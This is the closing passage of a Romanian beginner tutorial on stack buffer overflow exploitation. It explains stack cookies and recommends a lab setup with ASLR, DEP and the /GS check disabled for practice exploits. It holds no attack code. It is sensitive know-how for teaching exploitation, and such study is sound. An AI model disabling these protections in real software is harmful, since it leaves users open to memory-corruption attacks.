Stack Cookies - Este o alta metoda de protectie oferita de catre compilator care are rolul de a proteja aplicatiile impotriva atacurilor de acest tip prin plasarea pe stiva, la inceputul unei functii, a unei valori aleatoare denumita "stack cookie" (___stack_cookie). Imediat inainte de a pune pe stiva variabilele locale este pusa aceasta valoare aleatoare. Ceea ce intampla de fapt, este faptul ca daca o variabila locala (buffer) este suprascrisa si datele de pe stack sunt suprascrise, atunci va fi suprascrisa si aceasta valoare aleatoare care este verificata imediat inainte de iesirea din functie (inainte de RETN). Daca a fost suprascrisa, executia programului va fi oprita. Este foarte dificil ca un atacator sa ghiceasca exact acea valoare si sa nu o corupa. Atentie! Daca vreti sa faceti teste, dezactivati aceasta optiune din Visual Studio deoarece este activata in mod implicit. Pentru activare sau dezactivare mergeti la Configuration > C/C++ > Code Generation > Buffer Security Check (/GS).

Tutorialul se adreseaza incepatorilor, de aceea am ales:
- Windows XP pentru ca nu ofera ASLR
- Executabilul nu are DEP si Stack Cookies activate

Concluzie

Desi poate parea foarte usor sa exploatezi o astfel de problema, principala dificultate consta in intelegerea limbajului de asamblare si a anumitor concepte, o exploatare efectiva a unei astfel de probleme este mult mai dificila, tocmai din cauza faptului ca exista mai multe mecanisme de protectie. Exista anumite lucruri care se pot face in anumite cazuri pentru a face "bypass" acestor elemente de protectie, insa dificultatea acestora depaseste scopul acestui material.

Sugestia mea pentru voi este sa compilati un astfel de programel, excluzand mecanismele de protectie, si sa incercati sa il exploatati singuri. De asemenea, puteti incerca sa modificati dimensiunea buffer-ului sa vedeti ce se intampla si cel mai important este sa executati pas cu pas fiecare instructiune urmarind stiva pentru a intelege complet aceste notiuni. Lasati acum teoria, puneti mana pe debugger si treceti la treaba!

Daca aveti intrebari le astept aici. De asemenea astept pareri legate de acest articol, daca m-am facut inteles, daca e corect tot ce am spus etc. pentru a-l putea perfectiona.

Multumesc,
Nytro @ Romanian Security Team